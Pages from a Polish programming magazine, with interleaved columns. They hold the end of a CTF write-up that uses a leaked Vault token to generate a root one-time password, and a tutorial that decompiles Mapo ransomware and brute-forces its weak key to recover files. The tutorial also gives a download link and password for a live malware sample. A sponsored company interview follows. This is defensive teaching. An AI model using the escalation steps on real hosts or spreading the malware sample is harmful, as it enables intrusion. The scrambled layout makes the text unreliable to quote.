Znów pomocne okazać się może przeszukanie wszystkich plików szybkiego zapoznania się z dokumentacją, jak i poznać oprogramowanie
w systemie, aby wykryć te niecodzienne, nadmiarowe i konfiguracyj- wykorzystywane także produkcyjnie. Wyzwania takie jak to przedsta-
ne, przechowujące przydatne sekrety. wione w tym artykule wymagają sporo czasu, bywa, że na użytkowni-
W tym przypadku nadprogramowy wydaje się plik .vault-token ków zastawiane są pułapki skutkujące wielogodzinnym rozwiązywaniem
zawierający ciąg znaków f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9. problemów, które okazują się prowadzić donikąd. Tak jak w przypadku
Vault [7] to oprogramowanie firmy HashiCorp służące do przecho- konkursów CTF ważne jest, by myśleć nie tylko jak atakujący, ale także
wywania sekretów. Sekret użytkownika gilfoyle jest wykorzystywany twórca wyzwania. Nie sprawdzi się to niestety, gdy przeniesiemy się do
w jednym z plików znajdujących się w repozytorium – secrets.sh. świata rzeczywistych podatności.

Listing 1.15. secrets.sh

#!/bin/bash

# set up vault secrets backend W sieci


vault secrets enable ssh [1] https://app.hackthebox.com/
[2] https://www.vulnhub.com/
vault write ssh/roles/root_otp \ [3] https://app.hackthebox.com/invite
key_type=otp \ [4] https://nmap.org/
default_user=root \ [5] https://gogs.io/
cidr_list=0.0.0.0/0 [6] https://docs.python.org/3/library/functions.html#eval
[7] https://www.vaultproject.io/

Znając token uwierzytelniający do Vaulta, użytkownik, po zapozna-


niu się z zasadą działania komendy vault, jest w stanie wygenerować
OTP dla użytkownika root i następnie się tam zalogować. FOXTROT_CHARLIE
Listing 1.16. Uzyskanie sesji użytkownika root @foxtrot_0x4fult | segment_0xf4ult[at]protonmail.com
gilfoyle@craft:~$ vault login Pentester/badacz bezpieczeństwa w firmie ISEC. Psuje oprogramowanie
Token (will be hidden): # token z pliku i hardware z powołania. W wolnym czasie żongluje bitami, lata dronami
Success! You are now authenticated. The token information i uczestniczy w potyczkach CTF. Po godzinach ściga się na rowerach
displayed below górskich i szosowych.

<46> { 5 / 2021 < 99 > }


BEZPIECZEŃSTWO

Analiza złośliwego oprogramowania:


jak odszyfrować nieodszyfrowalne?
Inżynieria wsteczna i analiza złośliwego oprogramowania jest czasem owiana aurą tajemni-
czości. Z jednej strony temat wydaje się intrygujący, ale z drugiej strony wysoki próg wejścia
i ryzyko „zepsucia sobie czegoś” odstrasza potencjalnych adeptów od nauki. Celem tego
artykułu – i kolejnych z tej serii – jest przybliżenie tego świata osobom dotychczas bardziej
„wysokopoziomowym”. Postaramy się wytłumaczyć wszystko krok po kroku i unikać nadmier-
nych przeskoków myślowych. Będziemy również korzystać wyłącznie ze zdekompilowanego
kodu – płynna znajomość asemblera nie będzie zatem wymagana (chociaż pozostanie mile
widziana).

W pierwszym artykule z tej serii zaczniemy od analizy próbki


ransomware z rodziny Mapo. Będzie to idealny start – jej kod
nie jest zbyt skomplikowany, ale przeczytanie go wymaga znajomości
Mimo że ransomware jest dla nas obecnie czymś równie oczywi-
stym jak inne rodzaje złośliwego oprogramowania, to tak naprawdę
jest to relatywnie nowe zjawisko, które jeszcze w 2012 roku praktycz-
odpowiednich narzędzi. W artykule przeanalizujemy proces genero- nie nie występowało2 (Rysunek 1).
wania klucza, szyfrowanie, a nawet spróbujemy napisać dekryptor. Dopiero od 2013 roku problem wkroczył do głównego nurtu i od
tamtego czasu jego popularność rośnie.

CZYM JEST RANSOMWARE? Z drugiej strony obrońcy nie są kompletnie bierni. Poza standardową
walką pomiędzy coraz to lepszymi silnikami antywirusowymi a nowymi
Ale od początku. Czym w ogóle jest ransomware? To gatunek złośli- rodzinami malware ransomware wpłynęło bezpośrednio na rozwój:
wego oprogramowania, który działa w bardzo specyficzny sposób. Po » …dedykowanych rozwiązań anty-ransomware3. Pomysł polega
uruchomieniu się na maszynie ofiary szyfruje wszystkie potencjalnie na tym, że szyfrowanie wszystkich plików na dysku jest dość
wartościowe pliki, które znajdzie (np. zdjęcia, filmy, archiwa, bazy charakterystyczne, więc można próbować wykrywać je na pod-
danych itp.). Następnie żąda od użytkownika pieniędzy (zazwyczaj stawie ich zachowania. Na przykład jeśli jakiś proces czyta po
w postaci kryptowalut) w zamian za ich odszyfrowanie. Zwróćmy kolei różne pliki, a następnie nadpisuje je innymi danymi z wy-
uwagę, jak bardzo różni się taka strategia od bardziej klasycznych ro- soką entropią, możemy uznać, że jest bardzo podejrzany, i go
dzajów złośliwego oprogramowania, np. trojanów (Tabela 1). zatrzymać. Wadą tego rozwiązania jest wysoki narzut wydajno-
ściowy przy niektórych operacjach oraz okazjonalne fałszywe
Trojan Ransomware alarmy4. Z czasem podobne sygnatury zostały również dołączo-
ne do standardowych wersji popularnych antywirusów,
Stara się ukrywać jak najdłużej. Użyt- Trudno nie zauważyć, że padło się ofiarą
kownik może być zainfekowany latami ransomware. » …projektu No More Ransom. To wspólna inicjatywa nider-
i nawet tego nie wiedzieć.
landzkiej policji, Europolu EC3, Kaspersky Lab i McAfee, edu-
Ciężko go usunąć, często wykorzystuje Łatwy do usunięcia ręcznie. Niektóre
kująca użytkowników oraz zbierająca dekryptory do rodzin,
różne nieoczywiste metody persystencji1. odmiany nawet nie uruchomią się same
po restarcie komputera. które udało się „złamać”, i udostępniająca je na zasadzie non-
Po usunięciu atak jest w sporej części Po usunięciu… nasze pliki są dalej -profit. Można ją uznać za wielki sukces – 20 partnerów (i do-
ograniczony (chociaż dalej należy zmie- zaszyfrowane.
nić wszędzie hasła i przyjąć założenie, że
datkowo 150 wspierających organizacji) podzieliło się razem
nasze dane wyciekły). 121 narzędziami pozwalającymi na odszyfrowanie 151 rodzin
Często zaawansowany technicznie. Wyko- Zazwyczaj prosty w środku. Kluczowy i (wg. szacunków – dokładnej wartości nie da się wyznaczyć5)
rzystuje różne techniki, żeby uniknąć wykry- element to po prostu przejście po wszystkich
cia i wpływać na pracę innych aplikacji. folderach i zaszyfrowanie wszystkich plików. zaoszczędziła ofiarom ponad 900 milionów dolarów okupu,
Monetyzacja jest problemem przestępcy. Przesłanie pieniędzy jest problemem użyt-
2. Owszem, były akademickie dyskusje na ten temat, a także parę testowych kampanii, ale nic zbli-
Często zarobienie na zainfekowanym kownika. Przestępca czeka na przelew, żonego skalą do dzisiejszej plagi.
komputerze jest najtrudniejszym elemen- a jego rola sprowadza się do przesłania 3. Efektywnych, ale niestety często reklamowanych z nadmiernym optymizmem. Cytując stronę
tem całej operacji. dekryptora (i czasami „wsparcia tech- główną jednego z wiodących rozwiązań „Program zatrzymuje każdy rodzaj ransomware – nawet te
nicznego”). nigdy wcześniej nie spotykane” (źródło: nagłówek cybereason.com/hubfs/dam/collateral/data-sheets/
cr-anti-ransomware.pdf, tłumaczenie autora).
4. Na przykład narzędzie kompresujące obrazy w folderze (w celu optymalizacji zużycia dysku) z punktu
Tabela 1. Czynniki wyróżniające ransomware widzenia antywirusa zachowuje się prawie identycznie, jak ransomware szyfrujący te same pliki.
5. W ramach ciekawostki, jak to wygląda od środka: mój poprzedni pracodawca (CERT.PL) na prośbę
No More Ransom szacował, ile pieniędzy zaoszczędziły narzędzia przez niego opublikowane. Py-
1. Techniczne określenie na „program uruchamia się ponownie po restarcie komputera”. Jest na to tania, na które trzeba odgadnąć odpowiedź, to np: ile pobrań dekryptora to boty, a ile ofiary? Czy
dużo sposobów, od oczywistych (np. dedykowane klucze rejestru) po dość kreatywne. Zaintereso- wszystkie deszyfrowania się udały? Ile ofiar byłoby gotowych zapłacić okup w całości? Ile by nego-
wanym polecam program Autoruns z pakietu Sysinternals, który pokazuje wiele rzeczy dziejących cjowało? Ile by po prostu porzuciło swoje pliki? Proste pomnożenie ilości pobrań przez średni żądany
się przy starcie i bywa przydatny w analizie poincydentalnej. okup szybko idzie w miliardy.

<48> { 5 / 2021 < 99 > }


BEZPIECZEŃSTWO

Rysunek 1. Historia wyszukiwań malware (góra) i ransomware (dół) (źródło: Google Trends)

» …biznesu cyber-insurance, czyli ubezpieczeń od skutków zagrożeń


w sieci. Ciężko powiedzieć, czy to pozytywna zmiana – można
argumentować, że zachęca to firmy do inwestowania w ubez-
pieczenie zamiast w bezpieczeństwo. Same wypłacone ubezpie-
czenia z kolei czasami idą na pokrycie okupu, czyli do kieszeni
przestępców. Nie da się jednak zaprzeczyć, że to dynamicznie
rozwijający się rynek, rosnący około 25% rocznie.

Rysunek 2. Okno programu notepad.exe


SZYFRUJĄ MNIE, CO TERAZ?
Przysłowie głosi: „Lekarzu, ulecz sam siebie”. Zanim przejdziemy do Istnieje wiele formatów zrzutów pamięci i narzędzi generujących
zaawansowanych technik, porozmawiajmy o podstawach. Co zrobić, dobre i wygodne w analizie wyniki. Jednak podczas ataku raczej nie
kiedy nagle zauważymy, że ransomware atakuje nasz domowy kom- mamy czasu wybrzydzać – wystarczy nawet standardowy menedżer
puter lub naszą firmę? zadań Windows (Rysunek 3).
Wbrew pozorom nie jest to proste pytanie. Rady umieszczane
w artykułach na ten temat powinny zawierać dwa kluczowe punkty:
» Odłączyć komputer od sieci.
» Wyłączyć go jak najszybciej.

To dwie najważniejsze czynności, które powinniśmy zrobić. Resztę


analizy możemy przeprowadzić na spokojnie, wyciągając dysk i mon-
tując go na czystej maszynie.
W specjalnych przypadkach można pokusić się o więcej. Jeśli uda-
ło nam się „złapać” złośliwe oprogramowanie „w trakcie pracy”, do-
brym pomysłem może być zrobienie zrzutu pamięci działającego zło-
śliwego procesu. Zrzut pamięci, jak nazwa wskazuje, zapisuje do pliku
obecnie załadowane strony. W przypadku ransomware – tak długo,
jak program nie zakończył szyfrowania – w pamięci znajdują się6 m.in
klucze do szyfrowania i deszyfrowania. Wykonanie zrzutu pamięci –
oraz oczywiście odpowiednia wiedza – daje szansę je odzyskać.
Do demonstracji tej techniki nie potrzebujemy złośliwego oprogra-
mowania – wystarczy zwykły notatnik i trochę tekstu (Rysunek 2).

6. Zazwyczaj – są metody na ominięcie tego za pomocą kryptografii asymetrycznej, ale nie są prak- Rysunek 3. Zrzut pamięci notatnika za pomocą menedżera zadań
tyczne. Prawie zawsze główny klucz szyfrujący znajduje się w pamięci aż do końca działania głów-
nego procesu.

<50> { 5 / 2021 < 99 > }


/ Analiza złośliwego oprogramowania: jak odszyfrować nieodszyfrowalne? /

Rysunek 4. (Na razie puste) okno wyboru projektu

Po naciśnięciu przycisku otrzymamy informację, że zrzut został ale poza tym to jak najbardziej prawdziwe i działające malware. Pod
zapisany do pliku np. C:\Users\malwarelab\AppData\Local\Temp\ żadnym pozorem nie należy go uruchamiać (chyba że na dedykowanej
notepad.DMP. Gdyby to był atak ransomware, w tym momencie mo- maszynie wirtualnej).
żemy już spokojnie wyłączyć komputer, wyciągnąć z niego dysk i za- Narzędzie, którego będziemy używali, to Ghidra8. Jest to względ-
jąć się ratowaniem plików (albo przywracaniem backupu). Do celów nie niedawno opublikowane oprogramowanie służące do analizy
demonstracyjnych wystarczy nam też standardowy program strings: plików wykonywalnych stworzone przez NSA. W przeciwieństwie
do IDA Pro, najpopularniejszego programu tego rodzaju, Ghidra
$ strings notepad.DMP -el | grep pamiec
To jest pamiec procesu jest darmowa i otwartoźródłowa. Jak przystało na program napisany
w Javie, jest do pewnego stopnia kombajnem. Po pobraniu urucha-
Nie jest to oczywiście nic skomplikowanego, ale w momencie ataku miamy go skryptem ghidraRun (potrzebny jest JDK w wersji przy-
warto o tym pamiętać – może uchronić nas od zapłacenia okupu. najmniej 11). Wyświetli się okno wyboru projektu (Rysunek 4).

KRÓTKO O NARZĘDZIACH DO ANALIZY Narzędzia, o których wspomniałem, to Ghidra i IDA Pro, ale istnieją również alterna-
WSTECZNEJ tywne. Wśród darmowych i płatnych są jeszcze np. Binary Ninja, Rizin, Radare2, Cutter,
Hopper, a nawet całkiem funkcjonalny onlinedisassembler.com/odaweb.
W dalszej części artykułu zajmiemy się niskopoziomową analizą kon-
kretnych próbek. Potrzebne są do tego odpowiednie narzędzia. Mimo
że celem tego artykułu nie jest pełne wprowadzenie do analizy wstecz-
nej, postaramy się opisywać krok po kroku dokładnie, co się dzieje. Najpierw musimy utworzyć projekt (typu „non-shared”) i zaimporto-
W tej i następnych częściach tego cyklu będziemy analizować zło- wać do niego program, który chcemy przeanalizować. Następnie wy-
śliwe oprogramowanie. Mocno zalecane jest robienie wszystkiego na bieramy zaimportowany plik, odpowiadamy „tak” na pytanie o auto-
maszynie wirtualnej, najlepiej bez dostępu do Internetu. Nie jest to matyczną analizę i rozpoczynamy przygodę.
bezwzględny wymóg, ale jest to dobry zwyczaj w pracy ze złośliwym
oprogramowaniem – im mniej musimy ufać swojemu komputerowi
PRÓBKA PIERWSZA: MAPO
i sobie, tym lepiej7.
Po tym wstępie czas pobrać próbkę. Jest dostępna pod adresem store. Mapo to ransomware, które przeprowadzało całkiem udane kampa-
tailcall.net/programistamalware1.zip. Uwaga: znajdujący się tam pro­ nie w Polsce, a jego różne warianty do dzisiaj krążą po Internecie (np.
gram to prawdziwa próbka złośliwego oprogramowania wykorzy- odmiana Clop, wykorzystywana obecnie w targetowanych atakach na
stana kiedyś w kampaniach przestępców. Została pozbawiona rozsze- firmy). Nie wchodząc w szczegóły, konkretna próbka, którą przeana-
rzenia, a archiwum jest chronione hasłem programista2021malware, lizujemy, była szczególnie (nie)sławna, trafiła nawet swego czasu do
telewizji.
7. Znane są przypadki ataków na analityków poprzez wykorzystanie podatności w narzędziach do
analizy. W takim przypadku sama statyczna analiza programu może doprowadzić do wykonania
złośliwego kodu. 8. ghidra-sre.org

{ WWW.PROGRAMISTAMAG.PL } <51>
BEZPIECZEŃSTWO

Rysunek 5. Główny interfejs programu Ghidra

Rysunek 6. Okno Defined Strings – warto zauważyć widoczne rozszerzenie używane przez ransomware (.crypt)

Plik w paczce z materiałami nazywa się 07c69147626042067e- Widoczne elementy to:


f9adfa89584a4f93f8ccd24dec87dd8f291d946d465b249. Załadujmy go » Listing: okno zawierające kod/bajty programu pod wskazanym
do Ghidry i rozpocznijmy analizę. Domyślny widok wygląda mniej adresem.
więcej tak jak na Rysunku 5. » Decompiler: okno zawierające zdekompilowany kod funkcji,
w której obecnie się znajdujemy.
9. Nazywanie i trzymanie plików na podstawie ich skrótu sha256 to bardzo powszechna praktyka
w świecie bezpieczeństwa IT.

<52> { 5 / 2021 < 99 > }


/ Analiza złośliwego oprogramowania: jak odszyfrować nieodszyfrowalne? /

» Symbol Tree: okno zawierające listę zdefiniowanych symboli. kamy, dostała nazwę FUN_0040bac0. Skąd to wiem? Głównie dlatego,
Pozwala nam np. szybko przejść do interesującej nas funkcji. że ten prolog kompilatora jest dość popularny i często się go spotyka.
» Data Type Manager: przy bardziej skomplikowanych analizach Są jednak bardziej naukowe metody, które możemy zastosować:
pozwala definiować własne typy danych. » Funkcja przyjmuje trzy parametry, tak jak oczekujemy: int
main( int argc, char *argv[], char *envp[] ) (trzeci
Jest też bardzo wiele sytuacyjnych okien, które możemy otwierać i za- parametr nie jest wymagany przez standard, ale wspierany przez
mykać w razie potrzeby. Na przykład możemy zobaczyć listę napisów większość kompilatorów).
znalezionych w programie, wybierając w menu Window opcję Defi­ » Znajduje się na końcu programu, po niej jest już tylko exit().
ned Strings (Rysunek 6). Dodatkowo wartość zwrócona przez tę funkcję jest parametrem
Przejdźmy do analizy. W oknie „Symbol Tree” rozwińmy „exports”. do exit().
Powinien tam być tylko jeden symbol – entry, czyli tzw. entry point » Jeśli wejdziemy do tej funkcji, zobaczymy ciekawy kod, który
(punkt wejścia) – miejsce, gdzie program zaczyna się wykonywać. bardziej wygląda na napisany przez człowieka niż szablon wrzu-
Mimo że malware jest napisany w języku C, wbrew pozorom nie jest cony przez kompilator.
to wcale funkcja main. Kompilator generuje tak zwany prolog (tutaj
nazwany „entry”), który ustawia stan programu na oczekiwany przez Kiedy rozpoznamy jakąś funkcję, warto zmienić jej nazwę. Zrobimy
środowisko wykonania C, i dopiero wówczas wywołuje funkcję main. to, ustawiając na niej kursor, naciskając klawisz L i wpisując nową na-
Jeśli przejdziemy do definicji symbolu (podwójnym kliknięciem), zo- zwę (main).
baczymy to w zdekompilowanym źródle (Listing 1). Ta próbka, jak zresztą większość ransomware, jest bardzo pro-
stym programem. Większość kodu znajduje się w funkcji main. Nie
Listing 1. Lekko przycięty kod funkcji entry
należy sugerować się tym, że po dekompilacji ma ponad 500 linijek
int entry(void) { kodu – jest to wina niedoskonałości narzędzi. W oryginale źródło
// (...) deklaracje zmiennych
___security_init_cookie(); jest prawdopodobnie dużo krótsze. W tym momencie zagadka i wy-
cVar4 = ___scrt_initialize_crt(1); zwanie dla ambitnego czytelnika – czy ktoś, nie czytając dalej, jest
if (cVar4 != '\0') {
bVar3 = false; w stanie znaleźć fragment kodu generujący klucz szyfrujący (znajdu-
bVar5 = ___scrt_acquire_startup_lock();
local_28 = local_28 & 0xffffff00 | (uint)bVar5;
jący się bezpośrednio w głównej funkcji)?
if (DAT_00432ac8 != 1) { Ponownie, są dwa sposoby na rozwiązanie tego problemu. Pierw-
if (DAT_00432ac8 == 0) {
DAT_00432ac8 = 1; szy to spojrzenie w zdekompilowany kod i zgadywanie na podstawie
iVar6 = __initterm_e(&DAT_00428220,&DAT_00428240); intuicji. Mając odrobinę doświadczenia, stawianie i weryfikowanie
if (iVar6 != 0) {
unaff_ESI = 0xff; hipotez to często najprostsza metoda. Ale ponownie podejdźmy do
goto LAB_0040d531; tego w bardziej naukowy sposób. Jedną ze standardowych metod jest
}
__initterm(&DAT_0042820c,&DAT_0042821c); znalezienie miejsca powiązanego ze zmienną, która nas interesuje,
DAT_00432ac8 = 2; a następnie cofanie się. Na przykład rzucającym się w oczy fragmen-
}
else { tem jest komunikat błędu (Listing 2)
bVar3 = true;
} Listing 2. Komunikat błędu zależny w pewien odległy sposób od klucza
// (...) reszta inicjalizacji
puVar9 = (undefined4 *)FUN_0041768b(); if (local_765 == '\0') {
uVar2 = *puVar9; FUN_00405a00(L"Can\'t create file with key or file already
puVar9 = (undefined4 *)FUN_00417685(); exist\n");
uVar10 = __get_initial_narrow_environment(); if (DAT_00433700 == '\0') {
unaff_ESI = FUN_0040bac0(*puVar9,uVar2,uVar10); _system("pause");
cVar4 = ___scrt_is_managed_app(); }
if (cVar4 != '\0') { }
if (!bVar3) {
__cexit(); Nie wiemy, czym dokładnie jest local_765, ale wiemy, że jeśli two-
}
___scrt_uninitialize_crt(1,0); rzenie pliku z kluczem się nie powiedzie, będzie równe 0. Idźmy więc
LAB_0040d531: w górę i sprawdźmy, skąd się bierze zmienna local_76510. Widzimy
*in_FS_OFFSET = local_14;
return unaff_ESI; jej przypisanie parę linijek wyżej (Listing 3)
}
goto LAB_0040d548; Listing 3. Inicjalizacja zmiennej local_765
}
} local_765 = FUN_00405c00(local_6e8,0x20,local_674);
___scrt_fastfail(7);
LAB_0040d548:
_exit(unaff_ESI);
__exit(local_24); Widzimy tutaj dwie zmienne. Drugą z nich szybko możemy wyelimi-
pcVar1 = (code *)swi(3); nować jako klucz (jest używana w zupełnie inny sposób). Natomiast
return (*pcVar1)();
} jeśli cofniemy się do inicjalizacji zmiennej local_6e8 (Listing 4)…

Sporo tego, prawda? Niestety, zajmując się analizą wsteczną, trzeba


przyzwyczaić się do przekopywania się do interesujących fragmen-
10. Pomoże w tym podświetlanie zmiennych. W domyślnych ustawieniach Ghidry należy kliknąć
tów przez masę śmieci. W tym przypadku funkcja main, której szu- środkowym przyciskiem myszy na zmienną, żeby wyróżnić wszystkie jej wystąpienia.

{ WWW.PROGRAMISTAMAG.PL } <53>
BEZPIECZEŃSTWO

Listing 4. Potencjalny kod generujący klucz Taki atak wymaga jedynie 2**32 deszyfrowań, zatem nieco ponad 4
do {
miliardy – co jest zupełnie osiągalne na współczesnej maszynie. Od-
iVar9 = _rand(); zyskanie klucza pozwoli nam na odszyfrowanie interesujących nas
local_6e8[i] = (char)(iVar9 % 0xff);
i = iVar17 + 1; plików bez płacenia okupu13. Ambitny czytelnik może nawet spró-
} while (i < 0x20); bować napisać taki atak samemu. Warto przy tym zwrócić uwagę na
parę kruczków implementacyjnych:
…trafiamy na coś, co faktycznie można uznać za generowanie klucza. » Deszyfrowanie złym kluczem nie skończy się błędem, po pro-
Rzuca się w oczy wołanie funkcji rand() w pętli – 32 losowe bajty na- stu zwróci bezsensowne dane. Żeby sprawdzić, czy mamy do-
dają się na materiał kryptograficzny. Szybka weryfikacja potwierdzi bry klucz, musimy mieć jak ocenić, czy wynik jest poprawny
to przypuszczenie – kawałek niżej z tym kluczem wołana jest funk- – na przykład czy nagłówek pliku jest zgodny z oczekiwanym.
cja spod adresu 00406f10, która tworzy z niego odpowiedni obiekt » Kontynuując myśl, skoro sprawdzamy tylko, czy zgadza się na-
CryptoAPI wykorzystywany później do szyfrowania (Listing 5). główek, możemy bardzo zoptymalizować atak i deszyfrować tyl-
ko początek pliku (pierwszy blok) zamiast całego.
Listing 5. Liczony jest skrót kryptograficzny z początkowego klucza11,
a następnie tworzony odpowiedni obiekt CryptoAPI. Z lektury dokumentacji » Pisząc w językach natywnych, warto być ostrożnym, żeby nie skoń-
dowiemy się, że stała 0x660e wykorzystana przy tworzeniu klucza oznacza czyć z pętlą nieskończoną. Dla 32-bitowej zmiennej bez znaku
AES128 (CALG_AES_128)
warunek X < 2**32 jest zawsze prawdziwy!
void __thiscall FUN_00406f10(void *this) {
// zmienne (...)
// inicjalizacja (...) To nie tylko hipoteza – bardzo podobny proces odbył się na żywo,
phProv = (HCRYPTPROV *)((int)this + 0x54); kiedy do CERT.PL trafiło pilne zgłoszenie od instytucji, która padła
BVar1 = CryptAcquireContextW(
phProv,0x0,local_74,0x18,0xf0000000); ofiarą ataku. W tym przypadku dopisało szczęście – zazwyczaj nie
if (BVar1 != 0) {
phHash = (HCRYPTHASH *)((int)this + 0x5c);
jest tak łatwo znaleźć sposób łamania klucza. Ten sam dekryptor, któ-
BVar1 = CryptCreateHash(*phProv,0x800c,0,0,phHash); ry został wtedy napisany, trafił też na stronę projektu No More Ran-
if (BVar1 != 0) {
BVar1 = CryptHashData(*phHash,((int)this + 4),0x20,0); som i pomógł niemałej liczbie ofiar14.
if (BVar1 == 0) {
GetLastError();
FUN_0040cd86();
return; ZAKOŃCZENIE
}
BVar1 = CryptDeriveKey( Podsumowując zatem – do czego właściwie doszliśmy w tym artyku-
*phProv,0x660e,*phHash,4,((int)this + 0x58));
if (BVar1 != 0) { le? Zapoznaliśmy się z podstawami narzędzia Ghidra. Przeanalizo-
FUN_0040cd86();
return;
waliśmy próbkę złośliwego oprogramowania. Zaczynając od niczego,
} znaleźliśmy kod generujący klucz szyfrujący. Okazało się, że metoda
}
} generowania klucza jest podatna na atak siłowy i przy odrobinie wy-
GetLastError(); siłku można napisać program odzyskujący klucz.
FUN_0040cd86();
return; Nie da się jednak ukryć, że wybór analizowanego tu programu
}
nie był przypadkowy. Zazwyczaj nie jest tak łatwo – w kolejnym ar-
Uważni czytelnicy być może zauważyli już problem – cała entropia tykule podejmiemy się więc trochę ambitniejszego wyzwania i prze-
naszego klucza pochodzi z funkcji rand(). Nie jest ona w żaden analizujemy nieco bardziej skomplikowaną próbkę.
sposób kryptograficznie bezpieczna – cały jej stan wewnętrzny jest Autor ma nadzieję, że ten artykuł zachęci niezdecydowane osoby
trzymany w jednej liczbie 32-bitowej12, co oznacza, że jest tylko 2**32 do postawienia pierwszych kroków w świecie inżynierii wstecznej,
różnych kluczy, które mogą być wygenerowane. Oznacza to, że zde- a kto wie, może również spróbowania swoich sił w analizie złośliwe-
terminowany programista może łatwo złamać proces generowania go oprogramowania. Chciał też pokazać, że znalezienie podatności
klucza za pomocą ataku siłowego (Listing 6). i napisanie deskryptora nie zawsze jest bardzo trudne – może zachęci
to przyszłych rewerserów do wykazania się swoimi umiejętnościami
Listing 6 Atak siłowy na klucz (pseudokod)
na tym polu.
# Chcemy znaleźć wykorzystany klucz.
test_file = open("file.encrypted", "rb")
# Dla każdego stanu początkowego...
for seed in range(0, 2**32):
srand(seed) JAROSŁAW JEDYNAK
key = keygen() # generujemy klucz
if decrypt_ok(key, test_file): msm@tailcall.net
# i sprawdzamy, czy można nim zdeszyfrować plik.
print(key) Analityk malware w dużej firmie antywirusowej. W swojej pracy zajmuje
break
się głównie walką ze złośliwym oprogramowaniem oraz przestępcami
internetowymi. W wolnym czasie gra w CTFy z zespołem p4 albo rozwija
11. Funkcje skrótu, nazywane też funkcjami hashującymi albo po prostu hashami, pozwalają dla własne projekty programistyczne.
dowolnie dużej wiadomości obliczyć jej deterministyczną „sygnaturę” o stałej wielkości. Mają bardzo
dużo zastosowań w kryptografii i ogólnie pojętym bezpieczeństwie.
12. Przynajmniej w popularnych implementacjach. Standard sugeruje użycie algorytmu LCG, który
jest wyjątkowo słabym kryptograficznie generatorem liczb pseudolosowych (PRNG – PseudoRan-
dom Number Generator). Do generowania nieprzewidywalnych danych należy używać kryptogra- 13. Oznacza to też, że jeśli, mimo ostrzeżenia, któryś czytelnik uruchomił ten program na swoim
ficznie bezpiecznych generatorów liczb losowych (w skrócie CSPRNG – Cryptographically Secure komputerze, nie straci tym razem na stałe żadnych danych.
Pseudo Random Number Generator) – a najlepiej skorzystać z API systemu operacyjnego, które zrobi 14. Jeszcze do roku 2020 włącznie krążyły różne warianty tego złośliwego oprogramowania – często
to za nas pod spodem. z tym samym błędem.

<54> { 5 / 2021 < 99 > }


JAK W FAST WHITE CAT DBAMY O KOMFORT
PRACY DEVELOPERÓW
Rozmowa z Marcinem Bukowskim
Fast White Cat to nietypowy software house. Dlaczego nietypowy? Bo łączy
w sobie ekspercką wiedzę software house’ów z nastawieniem na cel, jakim jest
wysoka sprzedaż, najważniejsza dla firm e-commerce. To czyni z Fast White
Cat e-commerce software house! Co więc robimy? Profesjonalnie budujemy
sklepy internetowe w oparciu o platformę Magento 2 i kompleksowo je obsłu-
gujemy, aby bardzo dobrze pełniły swoją rolę – przynosiły zyski. Realizujemy
projekty zarówno rozwojowe (budujemy sklepy od nowa), jak i utrzymaniowo-
-rozwojowe (wspieramy i udoskonalamy działające już platformy).

Na stronie WWW piszecie, że w Waszym zespole są certyfikowani programiści Magento. Czy możecie opowie­
dzieć czytelnikom, jak wygląda proces certyfikacji i czy Wasi pracownicy przyjmowani są na stanowiska, tylko
posiadając tego typu certyfikaty?
Certyfikaty nie są wymagane od kandydatów do pracy w Fast White Cat, ale bardzo chętnie wspieramy naszych
developerów w ich zdobywaniu i automatycznie przyznajemy podwyżki pensji tym, którzy je uzyskają. A co do pro-
cesu – prowadzimy wewnętrzne warsztaty w dedykowanych cyklach, które mają na celu zwiększenie poziomu wie-
dzy merytorycznej naszych pracowników, ale też bliższe zapoznanie się z samą formą egzaminu. Omawiamy tematy,
które pojawiły się na egzaminach, bazujemy na naszych materiałach wewnętrznych i podręcznikach, opieramy się na
wiedzy kolegów, którzy posiadają takie certyfikaty i mogą podzielić się wiedzą. Warto tu dodać, że zdanie takiego eg-
zaminu nie jest wcale proste – nawet doświadczeni eksperci potrzebują solidnego przygotowania, konkretnej wiedzy
teoretycznej i praktycznej, niekiedy naprawdę szczegółowej. Jeśli chodzi o pracowników Fast White Cat, to możemy
pochwalić się prawie maksymalną zdawalnością – w kilku przypadkach zdarzyło się, że zdającemu zabrakło jednego
czy dwóch punktów procentowych, ale po paru tygodniach podszedł do egzaminu raz jeszcze i szczęśliwie go zdał.
Fakt, że nasi pracownicy, którzy już mają certyfikaty, dzielą się swoją wiedzą, jest tu nieoceniony. Na stronie Adobe
można przeczytać oficjalną informację o liczbie certyfikowanych pracowników z FWC – ale dbamy o to, by ta grupa
stale rosła, a nasi pracownicy inwestowali w swój rozwój.
Czy możecie ujawnić, na jakiej zasadzie opiera się Wasza praca z Adobe? Przecież srebrnego statusu partnera

firmy Adobe nie zyskuje się ot tak .
Na co dzień uczestniczymy w projektach i kontrybucjach projektów Adobe, nasi developerzy zapraszani są do ich
współtworzenia, pracują z tech leadami Adobe, dzięki czemu poznają Magento u źródła i są odpowiedzialni za to, co
stanowi core tej platformy. Bierzemy także udział w telekonferencjach technicznych i mniej technicznych, związa-
nych z Magento czy PWA studio. Ta współpraca ma dla FWC duże znaczenie, wymaga od nas ciągłego podnoszenia
kwalifikacji, ale też zwiększa nasze umiejętności techniczne, na czym korzystają nasi partnerzy biznesowi. Mamy do-
stępy do prywatnych repozytoriów Adobe i najnowszych wersji Magento, które jeszcze nie zostały dopuszczone do
oficjalnego rynku, ale my możemy już się z nimi zapoznawać i na nich pracować. Do tego, co dla nas ważne, jesteśmy
w stałym kontakcie ze specjalistami z Adobe, z którymi wymieniamy się wiedzą, opowiadamy o naszych procesach
technologicznych, porównujemy podejścia i dopasowujemy tak, by działały według najlepszych praktyk.
Poza narzędziami od Adobe z pewnością korzystacie z innych programów i systemów, kierujecie się bardziej
w stronę wykorzystywania komercyjnych narzędzi, czy Open Source?
Jeśli chodzi o Magento, to Open Source jest wolnym oprogramowaniem, ale opcja Adobe Commerce jest już
płatna. To, którą wersję wybieramy do projektu, zależy wyłącznie od potrzeb naszego Partnera i jego wizji biznesu
– w przypadku gdy jest ona bardzo mocno zindywidualizowana, wymagająca specyficznych funkcjonalności, wystę-
pujących w wersji Adobe Commerce – to to rozwiązanie rekomendujemy. Co więcej, jest to dodatkowa zaleta dla
naszych developerów, którzy chętnie pracują na tej wersji z racji dodatkowych feature’ów oraz rozwiązań architekto-
nicznych, które nie występują w wersji Open Source. To duża zaleta, tym bardziej że nie każdy software house daje
możliwość wdrażania takich projektów, ponieważ pewne funkcjonalności nie są dostępne dla opcji Magento Open
Source.

{ MATERIAŁ INFORMACYJNY }
Jak wygląda toolbox typowego programisty u Was?
Nie narzucamy systemu operacyjnego naszym developerom, pozostawiamy w tej kwestii wybór dla ich komfortu
